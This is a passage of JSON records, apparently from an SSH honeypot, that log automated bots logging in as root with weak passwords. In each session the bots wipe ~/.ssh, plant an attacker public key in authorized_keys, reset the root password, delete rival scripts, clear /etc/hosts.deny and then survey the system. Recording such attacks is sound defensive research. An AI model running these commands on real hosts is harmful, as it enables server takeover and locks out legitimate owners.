$7}'"},{"seq":10,"at":"2026-08-27T11:08:21.975663+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:08:22.745065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:08:23.614202+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:08:24.387873+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:08:25.026001+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:08:25.805191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:08:26.447612+00:00","kind":"output","latency_ms":null,"data":" 11:08:26 up 7 days, 7:58, 0 user, load average: 0.14, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:08:27.221105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:08:27.645660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:08:28.415404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:08:29.135071+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:08:29.905491+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:08:30.551221+00:00","kind":"output","latency_ms":null,"data":"top - 11:08:30 up 7 days, 7:58, 0 user, load average: 0.14, 0.15, 0.1\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:08:31.320161+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:08:31.895665+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:08:32.666493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:08:33.543099+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:08:34.316915+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:08:34.623267+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:08:35.397534+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:08:36.709179+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:08:37.479992+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:08:38.523618+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty12","method":"password","accepted":true,"tier":"other"}]} {"id":"0bd93430-fa3f-493c-8f5e-ffa7719fcc05","name":"sunlit-orderly-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58830,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:07:12.995333+00:00","ended_at":"2026-08-27T11:07:13.977959+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2148,"events":[{"seq":1,"at":"2026-08-27T11:06:51.292221+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:06:51.739241+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:06:56.659098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:06:57.200009+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:06:57.647764+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MYQhDWc7BCp9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:06:58.094731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:06:58.540549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:06:58.933412+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:06:59.389171+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:07:00.855344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:07:01.305466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:07:02.521303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:07:02.971813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:07:03.342138+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:07:03.789685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:07:04.532215+00:00","kind":"output","latency_ms":null,"data":" 11:07:04 up 7 days, 7:57, 0 user, load average: 0.2, 0.17, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:07:04.982258+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:07:05.835326+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:07:06.282761+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:07:06.876121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:07:07.325411+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:07:07.821018+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:07 up 7 days, 7:57, 0 user, load average: 0.2, 0.17, 0.14\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:07:08.271929+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:07:08.749339+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:07:09.201204+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:07:09.951195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:07:10.404965+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:07:10.713877+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:07:11.163755+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:07:12.545399+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:07:12.997479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:07:13.839265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Xc123456","method":"password","accepted":true,"tier":"other"}]} {"id":"46d56f95-b821-4afb-8d34-210d96db9b95","name":"wandering-bitter-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55534,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:03:57.440172+00:00","ended_at":"2026-08-27T11:03:58.593009+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:03:43.785112+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:03:44.051087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:03:48.221574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:03:48.222067+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:03:48.485260+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ojfteXT9e1lE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:03:48.747959+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:03:49.011546+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:03:49.012087+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:03:49.277869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:03:49.798736+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:03:50.069732+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:03:50.542029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:03:50.807909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:03:50.808680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:03:51.075157+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:03:51.077293+00:00","kind":"output","latency_ms":null,"data":" 11:03:51 up 7 days, 7:53, 0 user, load average: 0.14, 0.14, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:03:51.338560+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:03:51.851660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:03:52.115883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:03:52.679427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:03:52.946297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:03:53.401938+00:00","kind":"output","latency_ms":null,"data":"top - 11:03:53 up 7 days, 7:54, 0 user, load average: 0.14, 0.14, 0.09\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:03:53.668456+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:03:54.176499+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:03:54.439116+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:03:54.934187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:03:55.199384+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:03:55.677156+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:03:55.944326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:03:57.175845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:03:57.440955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:03:58.515346+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5f489023-1027-4c61-b7d2-92cb12f9752c","name":"subtle-peaty-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":53066,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":743,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:59:04.382355+00:00","ended_at":"2026-08-27T10:59:05.668772+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T10:58:40.726726+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:58:41.480554+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:58:48.177281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:58:48.177955+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:58:48.922251+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VlfpixvWNhOl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:58:49.668474+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:58:50.407702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:58:50.408157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:58:51.151357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:58:51.645596+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:58:52.398720+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:58:53.008258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:58:53.753327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:58:53.753815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T10:58:54.496098+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:58:54.496760+00:00","kind":"output","latency_ms":null,"data":" 10:58:54 up 7 days, 7:49, 0 user, load average: 0.12, 0.09, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:58:55.243626+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:58:55.529506+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:58:56.272454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:58:56.652205+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:58:57.408838+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:58:57.810968+00:00","kind":"output","latency_ms":null,"data":"top - 10:58:57 up 7 days, 7:49, 0 user, load average: 0.12, 0.09, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:58:58.560874+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:58:59.147297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:58:59.887648+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:59:00.388798+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:59:01.133525+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:59:01.896190+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:59:02.636904+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:59:03.641163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:59:04.383423+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:59:05.433033+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password+1","method":"password","accepted":true,"tier":"other"}]} {"id":"0511a491-8962-4b6e-9d52-4b74bded357f","name":"deft-woven-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":36854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:57:40.362900+00:00","ended_at":"2026-08-27T10:57:41.025107+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-27T10:57:30.707447+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:57:30.970365+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:57:34.946776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:57:34.947628+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:57:35.210656+00:00","kind":"input","latency_ms":null,"data":"echo \"root:74wbLvxB48PU\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:57:35.472080+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:57:35.734178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:57:35.734652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:57:35.996168+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:57:36.481758+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:57:36.752670+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:57:37.251526+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:57:37.518162+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:57:37.518789+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:57:37.780722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:57:37.782110+00:00","kind":"output","latency_ms":null,"data":" 10:57:37 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:57:38.042392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:57:38.043297+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:57:38.304682+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:57:38.305258+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:57:38.567757+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:57:38.568515+00:00","kind":"output","latency_ms":null,"data":"top - 10:57:38 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:57:38.832608+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:57:38.833266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:57:39.097015+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:57:39.097614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 